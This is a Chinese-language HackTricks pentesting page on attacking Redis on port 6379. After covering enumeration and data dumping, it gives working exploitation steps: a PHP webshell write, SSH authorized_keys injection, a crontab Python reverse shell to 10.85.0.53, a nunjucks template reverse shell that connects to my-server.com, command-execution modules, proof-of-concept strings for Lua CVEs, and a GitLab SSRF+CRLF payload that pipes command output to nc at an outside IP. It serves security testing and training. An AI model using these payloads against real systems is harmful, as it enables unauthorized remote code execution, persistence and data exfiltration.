6379 - Pentesting Redis

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

From the docs: Redis 是一个开源(BSD 许可)、基于内存的 数据结构存储,可用作 数据库、缓存和消息代理)。

默认情况下 Redis 使用基于明文的协议,但你要注意它也可以实现 ssl/tls。Learn how to run Redis with ssl/tls here.

默认端口: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

自动化枚举

一些自动化工具可以帮助从 redis 实例获取信息:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

手动枚举

横幅

Redis 是一个基于文本的协议,你可以直接在套接字中发送命令,返回的值将是可读的。还要记住 Redis 可以使用 ssl/tls 运行(但这很奇怪)。

在常规的 Redis 实例中,你可以使用 nc 连接,或者也可以使用 redis-cli

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

第一个命令 你可以尝试的是 info。它 可能返回包含 Redis 实例信息的输出,或者返回类似下面的内容:

-NOAUTH Authentication required.

在最后这种情况,这意味着 你需要有效的凭证 来访问 Redis 实例。

Redis 身份验证

默认情况下 Redis 可以在 无需凭证 的情况下访问。 然而,它可以被配置为支持 仅使用密码,或 用户名 + 密码
可以在 redis.conf 文件中通过参数 requirepass 设置密码,或者临时设置(直到服务重启)——连接到它并运行:config set requirepass p@ss$12E45
此外,可以在 redis.conf 文件中的参数 masteruser 中配置 用户名

Tip

如果只配置了密码则使用的用户名是 “default”。
另外,注意 无法从外部判断 Redis 是仅使用密码还是使用用户名+密码来配置的。

在这种情况下你将 需要找到有效的凭证 来与 Redis 交互,因此你可以尝试对其进行 brute-force
如果你找到了有效凭证,在建立连接后需要使用以下命令对会话进行认证

AUTH <username> <password>

有效凭证 将收到响应: +OK

已认证的枚举

如果 Redis 服务器允许 匿名连接 或者你已获得有效凭证,你可以使用以下 命令 开始对该服务进行枚举:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

其他 Redis 命令 可以在这里找到 这里.

请注意,实例的 Redis 命令可以被重命名或在 redis.conf 文件中移除。例如,这一行会移除命令 FLUSHDB:

rename-command FLUSHDB ""

有关如何安全配置 Redis 服务的更多信息,请见: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

你也可以使用命令 monitor 实时监视 Redis 执行的命令,或者使用 slowlog get 25 获取25 条最慢的查询

关于更多 Redis 命令的更多有趣信息见这里: https://lzone.de/cheat-sheet/Redis

导出数据库

在 Redis 中,数据库的编号从 0 开始。你可以在命令 info 的输出中,在 “Keyspace” 区块中查看是否有任何被使用:

或者你可以直接获取所有 keyspaces(数据库):

INFO keyspace

在该示例中正在使用 数据库 0 和 1数据库 0 包含 4 个键,数据库 1 包含 1 个。默认情况下 Redis 会使用数据库 0。要转储(dump)例如数据库 1,你需要执行:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

如果在运行 GET <KEY> 时收到如下错误 -WRONGTYPE Operation against a key holding the wrong kind of value,这是因为该 key 可能不是字符串或整数,而是其他类型,需要使用特定的操作来显示它。

要查看 key 的类型,请使用 TYPE 命令,下面示例展示了对 list 和 hash keys 的用法。

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

使用 npm 转储数据库 redis-dump 或 python redis-utils

Redis RCE

Interactive Shell

redis-rogue-server 可以自动在 Redis(<=5.0.5) 获取 interactive shell 或 reverse shell。

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

信息来自 here。你必须知道网站文件夹路径

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

如果 webshell 访问出现异常,可以在备份数据库后清空数据库并重试,记得恢复数据库。

Template Webshell

和前一节一样,你也可以覆盖一些将被模板引擎解析的 html 模板文件,从而获得 shell。

For example, following this writeup, you can see that the attacker injected a rev shell in an html interpreted by the nunjucks template engine:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

Warning

请注意 多个模板引擎会将模板缓存内存中,所以即使你覆盖了模板,新的模板 也不会被执行。在这种情况下,要么开发者开启了自动重载,要么你需要对该服务做 DoS(并预计它会被自动重启)。

SSH

示例 from here

请注意 config get dir 的结果可能在执行其他手动利用命令后被更改。建议在登录到 Redis 后立即先运行它。在 config get dir 的输出中,你可能会发现 redis userhome(通常是 /var/lib/redis/home/redis/.ssh),知道了这一点就知道可以把 authenticated_users 文件写到哪里以通过 ssh 以 redis 用户 访问。如果你知道其他有写权限的有效用户的 home,也可以滥用它:

  1. 在你的电脑上生成一个 ssh 公钥-私钥对: ssh-keygen -t rsa
  2. 将公钥写入一个文件: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. 将该文件导入到 redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. 将公钥保存到 redis 服务器上的 authorized_keys 文件:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. 最后,你可以使用私钥通过 ssh 登录 redis serverssh -i id_rsa redis@10.85.0.52

This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit

此外,也可以通过执行 config set dir /home/USER 来发现系统用户,确认后可以将新的 authorized_keys 写入到 /home/USER/.ssh/authorized_keys。使用 redis-rce-ssh 配合用户名字典对其进行暴力破解并覆盖 authorized_keys

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

最后一个示例是针对 Ubuntu 的,对于 Centos,上面的命令应为:redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

该方法也可以用来赚取比特币 :yam

加载 Redis 模块

  1. 按照 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 的说明,你可以 编译一个 Redis 模块以执行任意命令
  2. 然后你需要某种方法来 上传已编译的 模块
  3. 使用 MODULE LOAD /path/to/mymodule.so 在运行时 加载已上传的模块
  4. 使用 MODULE LIST 列出已加载的模块 以检查它是否已正确加载
  5. 执行 命令
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. 随时卸载模块:MODULE UNLOAD mymodule

LUA 沙盒绕过

Here 你可以看到 Redis 使用命令 EVAL 来执行沙盒化的 Lua 代码。在链接的文章中可以看到如何使用 dofile 函数来滥用它,但 apparently 这已不再可能。无论如何,如果你能绕过 Lua沙盒,你就能在系统上执行任意命令。另外,同一篇文章还展示了一些造成 DoS 的选项

一些用于绕过 LUA 的 CVE

Redis Lua 脚本引擎:沙盒逃逸与内存损坏 (CVE-2025-49844/46817/46818)

最近的 Redis 版本修复了嵌入式 Lua 引擎中的多个问题,这些问题允许沙盒逃逸、内存损坏和跨用户代码执行。以下情况适用这些技术:

  • 攻击者可以认证到 Redis 且启用了 Lua(可以使用 EVAL/EVALSHA 或 FUNCTION)
  • Redis 版本早于 8.2.2、8.0.4、7.4.6、7.2.11 或 6.2.20

Tip: 如果你对 Lua 沙盒技巧不熟,查看此页面以了解通用技术:

Lua Sandbox Escape

补丁级别上下文:

  • 已修复于:8.2.2、8.0.4、7.4.6、7.2.11、6.2.20
  • 在启用 Lua 脚本且未应用上述版本时受影响

CVE-2025-49844 — GC 触发的 Use-After-Free 在 Lua 解析器 (lparser.c: luaY_parser)

  • 思路:在解析器仍然引用新插入的 TString 时强制触发垃圾回收。当 GC 回收它时,解析器会使用已释放的指针(UAF)→ 导致崩溃/DoS,并可能在 Lua 沙盒外触发本地代码执行。
  • 触发策略:
  1. 使用巨大的字符串制造内存压力以促进 GC 活动
  2. 在大型源代码块正在编译时显式运行 GC
  3. 在循环中编译非常大的 Lua 脚本,直到 GC 与解析对齐

用于复现崩溃的最小 EVAL harness

# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0

注意:

  • 可能需要多次尝试以使 GC 与 luaY_parser 对齐。崩溃表明已触发 UAF。
  • 从利用到 RCE 需要 memory grooming 和 native code pivoting,超出 Redis Lua sandbox 的范围。

CVE-2025-46817 — unpack 中的整数溢出 (lbaselib.c: luaB_unpack)

  • 根本原因:计数 n = e - i + 1 在计算时未进行无符号类型转换,因此极端索引会发生环绕,导致 Lua 试图解包比实际存在更多的元素 → 堆栈损坏和内存耗尽。
  • PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
  • 预期服务器会尝试返回大量值并最终崩溃或 OOM。

CVE-2025-46818 — 通过基本类型 metatables 的跨用户权限提升

  • 根本原因:在引擎初始化时,基本类型(例如 strings、booleans)的 metatables 未被设置为只读。任何已认证用户都可以污染它们,从而注入其他用户可能随后调用的方法。
  • 示例(string metatable 污染):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
  • 影响:使用受害者的 Redis 权限在 Lua sandbox 内执行跨用户代码。对在 Redis ACL 环境下的 lateral movement/priv-esc 非常有用。

主从模块

master redis 的所有操作会自动同步到 slave redis,这意味着我们可以将存在漏洞的 redis 视为 slave redis,连接到我们控制的 master redis,然后向我们自己的 redis 输入命令。

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF 与 Redis 通信

如果你能发送 clear text 请求 to Redis,你就可以 communicate with it,因为 Redis 会逐行读取请求并仅对它不理解的行返回错误:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

因此,如果你在某个网站发现了一个 SSRF vuln,并且你能够 control 某些 headers(可能通过 CRLF vuln),或 POST parameters,你就能够向 Redis 发送任意命令。

示例: Gitlab SSRF + CRLF to Shell

Gitlab11.4.7 中发现了一个 SSRF 漏洞和一个 CRLF。这个 SSRF 漏洞存在于创建新项目时的 import project from URL functionality,允许以 [0:0:0:0:0:ffff:127.0.0.1](这会访问 127.0.0.1)的形式访问任意 IP,而 CRLF vuln 则通过在 URL 中添加 %0D%0A 字符来利用。

因此,可以 abuse these vulnerabilities to talk to the Redis instance,该实例由 gitlab manages queues,并滥用这些队列来 obtain code execution。The Redis queue abuse payload is:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

而这个 URL encodeabusing SSRFCRLF)请求用于执行 whoami 并通过 nc 回传输出,内容是:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

出于某种原因(就该信息来源的作者而言 https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ 所述),利用在 git 协议下有效,而在 http 协议下无效。

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks